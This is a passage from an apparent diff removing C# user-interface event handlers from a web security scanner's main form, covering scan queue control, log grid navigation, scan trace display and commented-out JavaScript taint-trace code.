(BurpLogOpenDialog.ShowDialog() == DialogResult.OK) - { - FileInfo Info = new FileInfo(BurpLogOpenDialog.FileName); - Import.ImportBurpLog(Info.FullName); - break; - } - } - - private void StopAllScansToolStripMenuItem_Click(object sender, EventArgs e) - { - StopAllScansAction(); - } - - void StopAllScansAction() - { - Thread T = new Thread(Scanner.StopAll); - T.Start(); - } - - private void StartAllStoppedAndAbortedScansToolStripMenuItem_Click(object sender, EventArgs e) - { - StartAllStoppedAndAbortedScansAction(); - } - - void StartAllStoppedAndAbortedScansAction() - { - List ToStart = new List(); - foreach (DataGridViewRow Row in ASQueueGrid.Rows) - { - string Status = Row.Cells[1].Value.ToString(); - if (Status.Equals("Stopped") || Status.Equals("Aborted")) - { - try - { - int ScanID = Int32.Parse(Row.Cells[0].Value.ToString()); - ToStart.Add(ScanID); - } - catch - { } - } - } - - Thread T = new Thread(Scanner.StartList); - T.Start(ToStart); - } - - private void StopThisScanJobToolStripMenuItem_Click(object sender, EventArgs e) - { - if (ASQueueGrid.SelectedCells.Count < 1 || ASQueueGrid.SelectedCells[0].Value == null) - { - return; - } - try - { - string Status = ASQueueGrid.SelectedCells[1].Value.ToString(); - if (Status.Equals("Running")) - { - int ScanID = Int32.Parse(ASQueueGrid.SelectedCells[0].Value.ToString()); - Scanner.ScanThreads[ScanID].Abort(); - } - } - catch(Exception Exp) - { - IronException.Report("Unable to Stop a Active Scan Job", Exp.Message, Exp.StackTrace); - } - } - - private void ScanQueueMenu_Opening(object sender, CancelEventArgs e) - { - StopThisScanJobToolStripMenuItem.Enabled = false; - if (ASQueueGrid.SelectedCells.Count < 1 || ASQueueGrid.SelectedCells[0].Value == null) - { - return; - } - else - { - try - { - string Status = ASQueueGrid.SelectedCells[1].Value.ToString(); - if (Status.Equals("Running")) - { - StopThisScanJobToolStripMenuItem.Enabled = true; - } - } - catch { } - } - } - - private void TraceGrid_SelectionChanged(object sender, EventArgs e) - { - if (TraceGrid.SelectedCells.Count < 1 || TraceGrid.SelectedCells[0].Value == null) - { - return; - } - try - { - int ID = Int32.Parse(TraceGrid.SelectedCells[0].Value.ToString()); - string Message = IronDB.GetTraceMessage(ID); - StringBuilder SB = new StringBuilder(@"{\rtf1{\colortbl ;\red0\green77\blue187;\red247\green150\blue70;\red255\green0\blue0;\red0\green200\blue50;}"); - SB.Append(Tools.RtfSafe(Message)); - TraceMsgRTB.Rtf = SB.ToString(); - } - catch (Exception Exp) - { - IronException.Report("Error reading Trace Message from DB", Exp.Message, Exp.StackTrace); - } - } - - private void ScanTraceGrid_SelectionChanged(object sender, EventArgs e) - { - if (ScanTraceGrid.SelectedCells.Count < 1 || ScanTraceGrid.SelectedCells[0].Value == null) - { - return; - } - try - { - int ID = Int32.Parse(ScanTraceGrid.SelectedCells[0].Value.ToString()); - IronUI.MainViewSelectedScanTraceId = ID; - IronTrace Trace = IronDB.GetScanTrace(ID); - string OverviewXml = Trace.OverviewXml; - string Message = Trace.GetScanTracePrettyMessage(); - - - //string Message = IronDB.GetScanTraceMessage(ID); - StringBuilder SB = new StringBuilder(@"{\rtf1{\colortbl ;\red0\green77\blue187;\red247\green150\blue70;\red255\green0\blue0;\red0\green200\blue50;}"); - SB.Append(Tools.RtfSafe(Message)); - ScanTraceMsgRTB.Rtf = SB.ToString(); - - try - { - List> OverviewEntries = IronTrace.GetOverviewEntriesFromXml(OverviewXml); - ScanTraceOverviewGrid.Rows.Clear(); - foreach (Dictionary Entry in OverviewEntries) - { - ScanTraceOverviewGrid.Rows.Add(new object[] { Entry["id"], Entry["log_id"], Entry["payload"], Entry["code"], Entry["length"], Entry["mime"], Entry["time"], Entry["signature"] }); - } - } - catch - { - //Probaly an entry from the log of an older version - } - LoadSelectedTraceBtn.Enabled = true; - } - catch (Exception Exp) - { - IronException.Report("Error reading ScanTrace Message from DB", Exp.Message, Exp.StackTrace); - } - } - - private void ShowLogGridBtn_Click(object sender, EventArgs e) - { - if (ShowLogGridBtn.Text.Equals("Hide Log Grids")) - { - IronUI.LogGridStatus(false); - } - else - { - IronUI.LogGridStatus(true); - } - } - - private void NextLogBtn_Click(object sender, EventArgs e) - { - if (IronLog.CurrentID == 0) return; - DataGridView CurrentGrid = GetCurrentGrid(); - int NewRowId = -1; - int CurrentRowId = GetCurrentRowIndex(CurrentGrid); - if (CurrentRowId == -1) - { - CurrentRowId = GetFirstRowIndex(CurrentGrid); - NewRowId = CurrentRowId; - } - if (CurrentRowId == -1) - { - //show error to user - IronUI.ShowLogStatus("Unable to load Request/Response from Log", true); - return; - } - else if(NewRowId == -1) - { - NewRowId = CurrentRowId + 1; - } - if (NewRowId >= IronLog.MaxRowCount) - { - //ask user to load next set of log from db - IronUI.ShowLogStatus("Reached end of visible log entries. Load next set using the '>' button below.", false); - } - else if (NewRowId >= CurrentGrid.Rows.Count) - { - //say end of log reached - IronUI.ShowLogStatus("Reached end of Log", false); - } - else - { - if (CurrentGrid.Rows[NewRowId].Cells.Count == 0 || CurrentGrid.Rows[NewRowId].Cells[0].Value == null) - { - //say unable to load next log - IronUI.ShowLogStatus("Unable to load next entry from Log", true); - } - else - { - int NewId = Int32.Parse(CurrentGrid.Rows[NewRowId].Cells[0].Value.ToString()); - IronLog.ShowLog(IronLog.CurrentSource, NewId); - } - } - //IronLog.ShowNextLog(); - } - - private void PreviousLogBtn_Click(object sender, EventArgs e) - { - if (IronLog.CurrentID == 0) return; - DataGridView CurrentGrid = GetCurrentGrid(); - int NewRowId = -1; - int CurrentRowId = GetCurrentRowIndex(CurrentGrid); - if (CurrentRowId == -1) - { - CurrentRowId = GetLastRowIndex(CurrentGrid); - NewRowId = CurrentRowId; - } - if (CurrentRowId == -1) - { - //show error to user - IronUI.ShowLogStatus("Unable to load Request/Response from Log", true); - return; - } - else if (NewRowId == -1) - { - NewRowId = CurrentRowId - 1; - } - if (NewRowId == -1) - { - if (CurrentGrid.Rows.Count == IronLog.MaxRowCount) - { - //ask user to load previous set of log from db - IronUI.ShowLogStatus("Reached start of visible log entries. Load previous set using the '<' button below.", false); - } - else - { - //say start of log reached - IronUI.ShowLogStatus("Reached start of Log", false); - } - } - else - { - if (CurrentGrid.Rows[NewRowId].Cells.Count == 0 || CurrentGrid.Rows[NewRowId].Cells[0].Value == null) - { - //say unable to load next log - IronUI.ShowLogStatus("Unable to load previous entry from Log", true); - } - else - { - int NewId = Int32.Parse(CurrentGrid.Rows[NewRowId].Cells[0].Value.ToString()); - IronLog.ShowLog(IronLog.CurrentSource, NewId); - } - } - //IronLog.ShowPreviousLog(); - } - - DataGridView GetCurrentGrid() - { - DataGridView CurrentGrid = null; - if (IronLog.IsSiteMap) - { - CurrentGrid = SiteMapLogGrid; - } - switch (IronLog.CurrentSource) - { - case (RequestSource.Proxy): - CurrentGrid = ProxyLogGrid; - break; - case (RequestSource.Probe): - CurrentGrid = ProbeLogGrid; - break; - case (RequestSource.Shell): - CurrentGrid = ShellLogGrid; - break; - case (RequestSource.Scan): - CurrentGrid = ScanLogGrid; - break; - case (RequestSource.Test): - CurrentGrid = TestLogGrid; - break; - default: - CurrentGrid = OtherLogGrid; - break; - } - return CurrentGrid; - } - - int GetCurrentRowIndex(DataGridView CurrentGrid) - { - int CurrentRowId = -1; - if (CurrentGrid == null) return CurrentRowId; - int NewRowId = -1; - if (IronLog.CurrentRowID < CurrentGrid.Rows.Count) - { - if (IronLog.CurrentID.ToString().Equals(CurrentGrid.Rows[IronLog.CurrentRowID].Cells[0].Value.ToString())) - { - CurrentRowId = IronLog.CurrentRowID; - } - } - if (NewRowId == -1) - { - foreach (DataGridViewRow Row in CurrentGrid.Rows) - { - if (Row.Cells.Count == 0) continue; - if (Row.Cells[0].Value == null) continue; - if (Row.Cells[0].Value.ToString() == IronLog.CurrentID.ToString()) CurrentRowId = Row.Index; - } - } - return CurrentRowId; - } - - int GetFirstRowIndex(DataGridView CurrentGrid) - { - int FirstRowId = -1; - if (CurrentGrid == null) return FirstRowId; - if (CurrentGrid.Rows.Count > 0) - { - try - { - Int32.Parse(CurrentGrid.Rows[0].Cells[0].Value.ToString()); - FirstRowId = 0; - } - catch - {} - } - return FirstRowId; - } - - int GetLastRowIndex(DataGridView CurrentGrid) - { - int LastRowId = -1; - if (CurrentGrid == null) return LastRowId; - if (CurrentGrid.Rows.Count > 0) - { - try - { - Int32.Parse(CurrentGrid.Rows[CurrentGrid.Rows.Count - 1].Cells[0].Value.ToString()); - LastRowId = CurrentGrid.Rows.Count - 1; - } - catch - { - try - { - Int32.Parse(CurrentGrid.Rows[CurrentGrid.Rows.Count - 2].Cells[0].Value.ToString()); - LastRowId = CurrentGrid.Rows.Count - 2; - } - catch { } - } - } - return LastRowId; - } - - - - private void TestGroupLogGrid_CellClick(object sender, DataGridViewCellEventArgs e) - { - if (TestGroupLogGrid.SelectedCells.Count < 1 || TestGroupLogGrid.SelectedCells[0].Value == null) - { - return; - } - - try - { - if (e.ColumnIndex == 0)// TestGroupHistoryClickActionSelectLogRB.Checked) - { - TestGroupLogGrid.SelectedRows[0].Cells[0].Value = !((bool)TestGroupLogGrid.SelectedRows[0].Cells[0].Value); - } - else - { - IronUI.ResetMTDisplayFields(); - int ID = Int32.Parse(TestGroupLogGrid.SelectedCells[1].Value.ToString()); - Session IrSe = null; - foreach (string Group in ManualTesting.GroupSessions.Keys) - { - if (ManualTesting.GroupSessions[Group].ContainsKey(ID)) - { - IrSe = ManualTesting.GroupSessions[Group][ID]; - IrSe.Flags["Group"] = Group; - } - } - if (IrSe != null) - { - IronUI.FillMTFields(IrSe); - } - } - } - catch(Exception Exp) - { - IronException.Report("Error displaying Request from Test log", Exp.Message, Exp.StackTrace); - IronUI.ShowMTException("Unable to display Request"); - } - } - - private void NextTestLog_Click(object sender, EventArgs e) - { - ManualTesting.ShowNextSession(); - } - - private void PreviousTestLog_Click(object sender, EventArgs e) - { - ManualTesting.ShowPreviousSession(); - } - - //private void RedGroupToolStripMenuItem_Click(object sender, EventArgs e) - //{ - // IronLog.MarkForTesting(GetSource(), GetID(),"Red"); - //} - - //private void GreenGroupToolStripMenuItem_Click(object sender, EventArgs e) - //{ - // IronLog.MarkForTesting(GetSource(), GetID(), "Green"); - //} - - //private void BlueGroupToolStripMenuItem_Click(object sender, EventArgs e) - //{ - // IronLog.MarkForTesting(GetSource(), GetID(), "Blue"); - //} - - //private void GrayGroupToolStripMenuItem_Click(object sender, EventArgs e) - //{ - // IronLog.MarkForTesting(GetSource(), GetID(), "Gray"); - //} - - //private void BrownGroupToolStripMenuItem_Click(object sender, EventArgs e) - //{ - // IronLog.MarkForTesting(GetSource(), GetID(), "Brown"); - //} - - private void ConfigureScanRequestSSLCB_Click(object sender, EventArgs e) - { - if (Scanner.CurrentScanner != null) - { - if (Scanner.CurrentScanner.OriginalRequest != null) - { - Scanner.CurrentScanner.OriginalRequest.SSL = ConfigureScanRequestSSLCB.Checked; - } - } - } - - private void ConsoleStartScanBtn_Click(object sender, EventArgs e) - { - IronUI.ShowConsoleStatus("",false); - try - { - if (IronUI.IsStartScanWizardOpen()) - { - IronUI.SSW.CloseWindow(); - } - } - catch { } - if (ConsoleStartScanBtn.Text.Equals("Start Scan")) - { - try - { - Request Req = new Request(ConsoleScanUrlTB.Text); - IronUI.ShowStartScanWizard(Req); - } - catch (Exception Exp) - { - IronUI.ShowConsoleStatus(Exp.Message, true); - return; - } - } - else - { - ConsoleStartScanBtn.Enabled = false; - IronUI.ShowConsoleStatus("Stopping Scan...", false); - ScanManager.Stop(); - } - } - - private void ViewProxyLogLink_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) - { - main_tab.SelectTab("mt_logs"); - LogTabs.SelectTab("ProxyLogTab"); - IronUI.LogGridStatus(true); - } - - //private void JSTaintTraceControlBtn_Click(object sender, EventArgs e) - //{ - // if (JSTaintTraceControlBtn.Text.Equals("Start Taint Trace")) - // { - // JSTaintResultGrid.Rows.Clear(); - // IronJint.PauseAtTaint = PauseAtTaintCB.Checked; - // JSTaintTraceControlBtn.Text = "Stop Trace"; - // PauseAtTaintCB.Visible = PauseAtTaintCB.Checked; - - // List SourceObjects = new List(); - // List SinkObjects = new List(); - // List SourceReturningMethods = new List(); - // List SinkReturningMethods = new List(); - // List ArgumentReturningMethods = new List(); - // List ArgumentAssignedASourceMethods = new List(); - // List ArgumentAssignedToSinkMethods = new List(); - - // foreach (DataGridViewRow Row in JSTaintConfigGrid.Rows) - // { - // if (Row == null) continue; - // if (Row.Cells == null) continue; - // if (Row.Cells.Count < 7) continue; - // if (Row.Cells["JSTaintDefaultSourceObjectsColumn"].Value != null) - // { - // string SourceObject = Row.Cells["JSTaintDefaultSourceObjectsColumn"].Value.ToString().Trim(); - // if (SourceObject.Length > 0) SourceObjects.Add(SourceObject); - // } - // if (Row.Cells["JSTaintDefaultSinkObjectsColumn"].Value != null) - // { - // string SinkObject = Row.Cells["JSTaintDefaultSinkObjectsColumn"].Value.ToString().Trim(); - // if (SinkObject.Length > 0) SinkObjects.Add(SinkObject); - // } - // if (Row.Cells["JSTaintDefaultArgumentAssignedASourceMethodsColumn"].Value != null) - // { - // string ArgumentAssignedASourceMethod = Row.Cells["JSTaintDefaultArgumentAssignedASourceMethodsColumn"].Value.ToString().Trim(); - // if (ArgumentAssignedASourceMethod.Length > 0) ArgumentAssignedASourceMethods.Add(ArgumentAssignedASourceMethod); - // } - // if (Row.Cells["JSTaintDefaultArgumentAssignedToSinkMethodsColumn"].Value != null) - // { - // string ArgumentAssignedToSinkMethod = Row.Cells["JSTaintDefaultArgumentAssignedToSinkMethodsColumn"].Value.ToString().Trim(); - // if (ArgumentAssignedToSinkMethod.Length > 0) ArgumentAssignedToSinkMethods.Add(ArgumentAssignedToSinkMethod); - // } - // if (Row.Cells["JSTaintDefaultSourceReturningMethodsColumn"].Value != null) - // { - // string SourceReturningMethod = Row.Cells["JSTaintDefaultSourceReturningMethodsColumn"].Value.ToString().Trim(); - // if (SourceReturningMethod.Length > 0) SourceReturningMethods.Add(SourceReturningMethod); - // } - // if (Row.Cells["JSTaintDefaultSinkReturningMethodsColumn"].Value != null) - // { - // string SinkReturningMethod = Row.Cells["JSTaintDefaultSinkReturningMethodsColumn"].Value.ToString().Trim(); - // if (SinkReturningMethod.Length > 0) SinkReturningMethods.Add(SinkReturningMethod); - // } - // if (Row.Cells["JSTaintDefaultArgumentReturningMethodsColumn"].Value != null) - // { - // string ArgumentReturningMethod = Row.Cells["JSTaintDefaultArgumentReturningMethodsColumn"].Value.ToString().Trim(); - // if (ArgumentReturningMethod.Length > 0) ArgumentReturningMethods.Add(ArgumentReturningMethod); - // } - // } - - // IronJint.StartTraceFromUI(JSTaintTraceInRTB.Text, SourceObjects, SinkObjects, SourceReturningMethods, SinkReturningMethods, ArgumentReturningMethods, ArgumentAssignedASourceMethods, ArgumentAssignedToSinkMethods); - // } - // else - // { - // IronJint.StopUITrace(); - // IronUI.ResetTraceStatus(); - // IronUI.ShowTraceStatus("Trace Stopped", false); - // } - //} - - //private void JSTaintTabs_Selected(object sender, TabControlEventArgs e) - //{ - // if (e.TabPage == null) return; - // if (e.TabPage.Name.Equals("JSTaintResultTab")) - // { - // TaintTraceResultSinkLegendTB.Visible = true; - // TaintTraceResultSourceLegendTB.Visible = true; - // TaintTraceResultSourcePlusSinkLegendTB.Visible = true; - // TaintTraceResultSourceToSinkLegendTB.Visible = true; - // JSTaintShowLinesLbl.Visible = true; - // JSTaintShowCleanCB.Visible = true; - // JSTaintShowSourceCB.Visible = true; - // JSTaintShowSinkCB.Visible = true; - // JSTaintShowSourceToSinkCB.Visible = true; - // } - // else - // { - // TaintTraceResultSinkLegendTB.Visible = false; - // TaintTraceResultSourceLegendTB.Visible = false; - // TaintTraceResultSourcePlusSinkLegendTB.Visible = false; - // TaintTraceResultSourceToSinkLegendTB.Visible = false; - // JSTaintShowLinesLbl.Visible = false; - // JSTaintShowCleanCB.Visible = false; - // JSTaintShowSourceCB.Visible = false; - // JSTaintShowSinkCB.Visible = false; - // JSTaintShowSourceToSinkCB.Visible = false; - // } - //} - - //private void JSTainTraceEditMenu_Opening(object sender, CancelEventArgs e) - //{ - // AddSourceTaintToolStripMenuItem.Visible = false; - // AddSinkTaintToolStripMenuItem.Visible = false; - // RemoveSourceTaintToolStripMenuItem.Visible = false; - // RemoveSinkTaintToolStripMenuItem.Visible = false; - - // if (JSTaintResultGrid.SelectedCells.Count < 1 || JSTaintResultGrid.SelectedCells[0].Value == null) return; - - // if (JSTaintResultGrid.SelectedRows[0].Cells[1].Style.BackColor == Color.Orange) - // { - // RemoveSourceTaintToolStripMenuItem.Visible = true; - // AddSinkTaintToolStripMenuItem.Visible = true; - // } - // else if (JSTaintResultGrid.SelectedRows[0].Cells[1].Style.BackColor == Color.HotPink) - // { - // RemoveSinkTaintToolStripMenuItem.Visible = true; - // AddSourceTaintToolStripMenuItem.Visible = true; - // } - // else if (JSTaintResultGrid.SelectedRows[0].Cells[1].Style.BackColor == Color.IndianRed) - // { - // RemoveSinkTaintToolStripMenuItem.Visible = true; - // RemoveSourceTaintToolStripMenuItem.Visible = true; - // } - // else if (JSTaintResultGrid.SelectedRows[0].Cells[1].Style.BackColor == Color.Red) - // { - // RemoveSinkTaintToolStripMenuItem.Visible = true; - // RemoveSourceTaintToolStripMenuItem.Visible = true; - // } - // else - // { - // AddSinkTaintToolStripMenuItem.Visible = true; - // AddSourceTaintToolStripMenuItem.Visible = true; - // } - //} - - //private void AddSourceTaintToolStripMenuItem_Click(object sender, EventArgs e) - //{ - // int LineNo = GetLineFromTaintGrid(); - // if (LineNo == 0) return; - // if (!IronJint.SourceLinesToInclude.Contains(LineNo))IronJint.SourceLinesToInclude.Add(LineNo); - // if (IronJint.SourceLinesToIgnore.Contains(LineNo)) IronJint.SourceLinesToIgnore.Remove(LineNo); - // IronJint.ReDoTraceFromUI(); - //} - - //private void AddSinkTaintToolStripMenuItem_Click(object sender, EventArgs e) - //{ - // int LineNo = GetLineFromTaintGrid(); - // if (LineNo == 0) return; - // if (!IronJint.SinkLinesToInclude.Contains(LineNo)) IronJint.SinkLinesToInclude.Add(LineNo); - // if (IronJint.SinkLinesToIgnore.Contains(LineNo)) IronJint.SinkLinesToIgnore.Remove(LineNo); - // IronJint.ReDoTraceFromUI(); - //} - - //private void RemoveSourceTaintToolStripMenuItem_Click(object sender, EventArgs e) - //{ - // int LineNo = GetLineFromTaintGrid(); - // if (LineNo == 0) return; - // if(!IronJint.SourceLinesToIgnore.Contains(LineNo)) IronJint.SourceLinesToIgnore.Add(LineNo); - // if (IronJint.SourceLinesToInclude.Contains(LineNo)) IronJint.SourceLinesToInclude.Remove(LineNo); - // IronJint.ReDoTraceFromUI(); - //} - - //private void RemoveSinkTaintToolStripMenuItem_Click(object sender, EventArgs e) - //{ - // int LineNo = GetLineFromTaintGrid(); - // if (LineNo == 0) return; - // if (!IronJint.SinkLinesToIgnore.Contains(LineNo)) IronJint.SinkLinesToIgnore.Add(LineNo); - // if (IronJint.SinkLinesToInclude.Contains(LineNo)) IronJint.SinkLinesToInclude.Remove(LineNo); - // IronJint.ReDoTraceFromUI(); - //} - - //private int GetLineFromTaintGrid() - //{ - // if (JSTaintResultGrid.SelectedCells.Count < 1 || JSTaintResultGrid.SelectedCells[0].Value == null) return 0; - - // try - // { - // int LineNo = Int32.Parse(JSTaintResultGrid.SelectedCells[0].Value.ToString()); - // return LineNo; - // } - // catch - // { - // return 0; - // } - //} - - //private void PauseAtTaintCB_Click(object sender, EventArgs e) - //{ - // IronJint.PauseAtTaint = PauseAtTaintCB.Checked; - //} - - //private void JSTaintContinueBtn_Click(object sender, EventArgs e) - //{ - // IronJint.UIIJ.MSR.Set(); - // JSTaintContinueBtn.Visible = false; - // JSTaintResultGrid.Focus(); - //} - - //private void JSTaintResultGrid_CellClick(object sender, DataGridViewCellEventArgs e) - //{ - // if (JSTaintResultGrid.SelectedCells.Count < 1 || JSTaintResultGrid.SelectedCells[0].Value == null) - // { - // return; - // } - // try - // { - // int LineNo = Int32.Parse(JSTaintResultGrid.SelectedCells[0].Value.ToString()); - // IronUI.ShowTaintReasons(LineNo, IronJint.UIIJ.GetSourceReasons(LineNo), IronJint.UIIJ.GetSinkReasons(LineNo)); - // }catch{} - //} - - private void ConfigViewHideLL_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) - { - if (ConfigPanel.Visible == true) - { - ConfigPanel.Visible = false; - ConfigViewHideLL.Text = "Show Config"; - } - else - { - ConfigPanel.Height = 350; - ConfigPanel.Visible = true; - ConfigViewHideLL.Text = "Hide Config"; - } - } - - //private void JSTaintConfigShowHideBtn_Click(object sender, EventArgs e) - //{ - // JSTaintShowLinesLbl.Visible = JSTaintShowCleanCB.Visible = JSTaintShowSourceCB.Visible = JSTaintShowSinkCB.Visible = JSTaintShowSourceToSinkCB.Visible = JSTaintConfigPanel.Visible; - // if (JSTaintConfigPanel.Visible == true) - // { - // JSTaintConfigPanel.Visible = false; - // JSTaintConfigShowHideBtn.Text = "Show Taint Config"; - // } - // else - // { - // JSTaintConfigPanel.Height = 450; - // JSTaintConfigGrid.Height = 400; - // JSTaintConfigPanel.Visible = true; - // JSTaintConfigShowHideBtn.Text = "Hide Taint Config"; - // } - //} - - //private void TaintTraceResetTaintConfigBtn_Click(object sender, EventArgs e) - //{ - // IronJint.ShowDefaultTaintConfig(); - //} - - private void ConsoleStatusTB_Enter(object sender, EventArgs e) - { - ConsoleScanUrlTB.Focus(); - } - - private void ProbeLogGrid_CellClick(object sender, DataGridViewCellEventArgs e) - { - if (ProbeLogGrid.SelectedCells.Count < 1 || ProbeLogGrid.SelectedCells[0].Value == null || ProbeLogGrid.SelectedRows.Count == 0) - { - return; - } - IronLog.ShowLog(RequestSource.Probe, ProbeLogGrid.SelectedCells[0].Value.ToString(), ProbeLogGrid.SelectedRows[0].Index, false); - return; - } - - //private void ConfigJSTaintConfigApplyChangesLL_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) - //{ - // Config.UpdateJSTaintConfigFromUI(); - // IronDB.StoreJSTaintConfig(); - //} - - //private void ConfigJSTaintConfigCancelChangesLL_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) - //{ - // IronUI.UpdateJSTaintConfigInUIFromConfig(); - //} - - //private void TaintTraceClearTaintConfigBtn_Click(object sender, EventArgs e) - //{ - // JSTaintConfigGrid.Rows.Clear(); - //} - - private void ConfigScannerThreadMaxCountTB_Scroll(object sender, EventArgs e) - { - ConfigScannerThreadMaxCountLbl.Text = ConfigScannerThreadMaxCountTB.Value.ToString(); - ConfigScannerThreadMaxCountLbl.ForeColor = Color.FloralWhite; - } - - private void SelectResponseForJavaScriptTestingToolStripMenuItem_Click(object sender, EventArgs e) - { - MessageBox.Show("This feature has been temporarily disabled. It will be reintroduced in a future version."); - //IronLog.MarkForJavaScriptTesting(GetSource(), GetID()); - } - - private void ConfigScannerSettingsApplyChangesLL_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) - { - Config.UpdateScannerSettingsFromUI(); - IronDB.StoreScannerSettings(); - ConfigScannerThreadMaxCountLbl.ForeColor = Color.Black; - } - - private void ConfigScannerSettingsCancelChangesLL_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) - { - IronUI.UpdateScannerSettingsInUIFromConfig(); - ConfigScannerThreadMaxCountLbl.ForeColor = Color.Black; - } - - private void RenderHTMLToolStripMenuItem_Click(object sender, EventArgs e) - { - Thread RH = new Thread(RenderHtmlOpener); - RH.Start(); - } - - void RenderHtmlOpener() - { - try - { - Tools.Run(Config.RootDir + "/RenderHtml.exe"); - } - catch (Exception Exp) { IronException.Report("Unable to Open RenderHtml", Exp); } - } - - //private void JSTaintShowCleanCB_CheckedChanged(object sender, EventArgs e) - //{ - // IronUI.SetJSTaintTraceResult(); - //} - - //private void JSTaintShowSourceCB_CheckedChanged(object sender, EventArgs e) - //{ - // IronUI.SetJSTaintTraceResult(); - //} - - //private void JSTaintShowSinkCB_CheckedChanged(object sender, EventArgs e) - //{ - // IronUI.SetJSTaintTraceResult(); - //} - - //private void JSTaintShowSourceToSinkCB_CheckedChanged(object sender, EventArgs e) - //{ - // IronUI.SetJSTaintTraceResult(); - //} - - //private void CopyLineTaintToolStripMenuItem_Click(object sender, EventArgs e) - //{ - // if (JSTaintResultGrid.SelectedCells.Count < 1 || JSTaintResultGrid.SelectedCells[0].Value == null) return; - // try - // { - // try - // { - // Clipboard.SetText("Copy Failed!"); - // } - // catch { } - // string Line = JSTaintResultGrid.SelectedCells[1].Value.ToString(); - // try - // { - // Clipboard.SetText(Line); - // } - // catch { } - // } - // catch - // {} - //} - - private void LogOptionsBtn_Click(object sender, EventArgs e) - { - LogOptionsBtn.ContextMenuStrip.Show(LogOptionsBtn, new Point(0, LogOptionsBtn.Height)); - } - - private void ProxyOptionsBtn_Click(object sender, EventArgs e) - { - ProxyOptionsBtn.ContextMenuStrip.Show(ProxyOptionsBtn, new Point(0, LogOptionsBtn.Height)); - } - - //private void PauseAtTaintCB_CheckedChanged(object sender, EventArgs e) - //{ - // JSTaintShowCleanCB.Enabled = !PauseAtTaintCB.Checked; - // JSTaintShowSourceCB.Enabled = !PauseAtTaintCB.Checked; - // JSTaintShowSinkCB.Enabled = !PauseAtTaintCB.Checked; - // JSTaintShowSourceToSinkCB.Enabled = !PauseAtTaintCB.Checked; - //} - - private void ConfigPanelTabs_SelectedIndexChanged(object sender, EventArgs e) - { - if (ConfigPanelTabs.SelectedTab.Name == "ConfigTaintConfigTab") - { - if (ConfigDefaultJSTaintConfigGrid.Height != 290) - { - ConfigDefaultJSTaintConfigGrid.Height = 290; - } - } - } - - private void ConfigPassiveAnalysisSettingsApplyChangesLL_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) - { - Config.UpdatePassiveAnalysisSettingsFromUI(); - IronDB.StorePassiveAnalysisSettings(); - } - - private void ConfigPassiveAnalysisSettingsCancelChangesLL_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) - { - IronUI.UpdatePassiveAnalysisSettingsInUIFromConfig(); - } - - private void ClearShellDisplayBtn_Click(object sender, EventArgs e) - { - InteractiveShellOut.Text = ""; - } - - private void PromptBlinkTimer_Tick(object sender, EventArgs e) - { - if (InteractiveShellPromptBox.ForeColor == Color.Lime) - InteractiveShellPromptBox.ForeColor = Color.Black; - else - InteractiveShellPromptBox.ForeColor = Color.Lime; - } - - private void EndOfShellPromptBlink() - { - Config.BlinkPrompt = false; - PromptBlinkTimer.Stop(); - InteractiveShellPromptBox.ForeColor = Color.Lime; - } - - private void main_tab_SelectedIndexChanged(object sender, EventArgs e) - { - if (main_tab.SelectedTab.Name.Equals("mt_scripting")) - { - if (Config.BlinkPrompt) PromptBlinkTimer.Start(); - } - else - { - if (Config.BlinkPrompt) PromptBlinkTimer.Stop(); - } - } - - private void LogTabs_SelectedIndexChanged(object sender, EventArgs e) - { - IronUI.ShowCurrentLogStat(); - IronUI.ShowLogBottomStatus("", false); - } - - private void MainLogFrontOneBtn_Click(object sender, EventArgs e) - { - MoveLog(true, 1); - } - - private void MainLogFrontTwoBtn_Click(object sender, EventArgs e) - { - MoveLog(true, 2); - } - - private void MainLogFrontThreeBtn_Click(object sender, EventArgs e) - { - MoveLog(true, 3); - } - - private void MainLogFrontFourBtn_Click(object sender, EventArgs e) - { - MoveLog(true, 4); - } - - private void MainLogBackOneBtn_Click(object sender, EventArgs e) - { - MoveLog(false, 1); - } - - private void MainLogBackTwoBtn_Click(object sender, EventArgs e) - { - MoveLog(false, 2); - } - - private void MainLogBackThreeBtn_Click(object sender, EventArgs e) - { - MoveLog(false, 3); - } - - private void MainLogBackFourBtn_Click(object sender, EventArgs e) - { - MoveLog(false, 4); - } - - void MoveLog(bool Forward, int Level) - { - IronUI.ShowLogBottomStatus("Loading...", false); - switch (LogTabs.SelectedTab.Name) - { - case ("ProxyLogTab"): - if (Forward) - IronLog.MoveProxyLogRecordForward(Level); - else - IronLog.MoveProxyLogRecordBack(Level); - break; - case ("ScanLogTab"): - if (Forward) - IronLog.MoveScanLogRecordForward(Level); - else - IronLog.MoveScanLogRecordBack(Level); - break; - case ("TestLogTab"): - if (Forward) - IronLog.MoveTestLogRecordForward(Level); - else - IronLog.MoveTestLogRecordBack(Level); - break; - case ("ShellLogTab"): - if (Forward) - IronLog.MoveShellLogRecordForward(Level); - else - IronLog.MoveShellLogRecordBack(Level); - break; - case ("ProbeLogTab"): - if (Forward) - IronLog.MoveProbeLogRecordForward(Level); - else - IronLog.MoveProbeLogRecordBack(Level); - break; - case ("OtherLogTab"): - if (Forward) - IronLog.MoveOtherLogRecordForward(Level); - else - IronLog.MoveOtherLogRecordBack(Level); - break; - case ("SiteMapLogTab"): - IronUI.ShowLogBottomStatus("Cannot move SiteMap logs. Move Proxy/Probe logs and click on the SiteMap tree to display new logs", true); - break; - } - } - - private void ScanTraceFrontOneBtn_Click(object sender, EventArgs e) - { - IronTrace.MoveScanTraceRecordForward(1); - } - - private void ScanTraceFrontTwoBtn_Click(object sender, EventArgs e) - { - IronTrace.MoveScanTraceRecordForward(2); - } - - private void ScanTraceFrontThreeBtn_Click(object sender, EventArgs e) - { - IronTrace.MoveScanTraceRecordForward(3); - } - - private void ScanTraceFrontFourBtn_Click(object sender, EventArgs e) - { - IronTrace.MoveScanTraceRecordForward(4); - } - - private void ScanTraceBackOneBtn_Click(object sender, EventArgs e) - { - IronTrace.MoveScanTraceRecordBack(1); - } - - private void ScanTraceBackTwoBtn_Click(object sender, EventArgs e) - { - IronTrace.MoveScanTraceRecordBack(2); - } - - private void ScanTraceBackThreeBtn_Click(object sender, EventArgs e) - { - IronTrace.MoveScanTraceRecordBack(3); - } - - private void 